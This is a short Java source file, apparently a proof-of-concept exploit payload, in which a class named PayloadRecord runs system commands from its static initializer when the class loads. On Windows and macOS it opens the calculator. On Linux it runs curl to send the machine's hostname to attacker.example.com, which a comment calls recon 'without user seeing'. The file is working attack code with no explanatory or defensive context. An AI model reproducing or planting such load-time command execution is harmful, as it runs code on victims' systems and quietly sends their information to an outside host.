package exploit; import java.io.BufferedReader; import java.io.InputStreamReader; public class PayloadRecord { static { try { String os = System.getProperty("os.name").toLowerCase(); String cmd; if (os.contains("win")) { cmd = "cmd.exe /c start calc"; } else if (os.contains("mac")) { cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; } else { // Linux/Unix: send signal to attacker-controlled server (recon without user seeing) cmd = "curl http://attacker.example.com/ping?host=" + java.net.InetAddress.getLocalHost().getHostName(); } Process process = Runtime.getRuntime().exec(cmd); try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) { String line; while ((line = reader.readLine()) != null) { System.out.println("[Payload Output] " + line); } } } catch (Exception e) { System.err.println("[Payload Error] " + e.getMessage()); e.printStackTrace(); } } }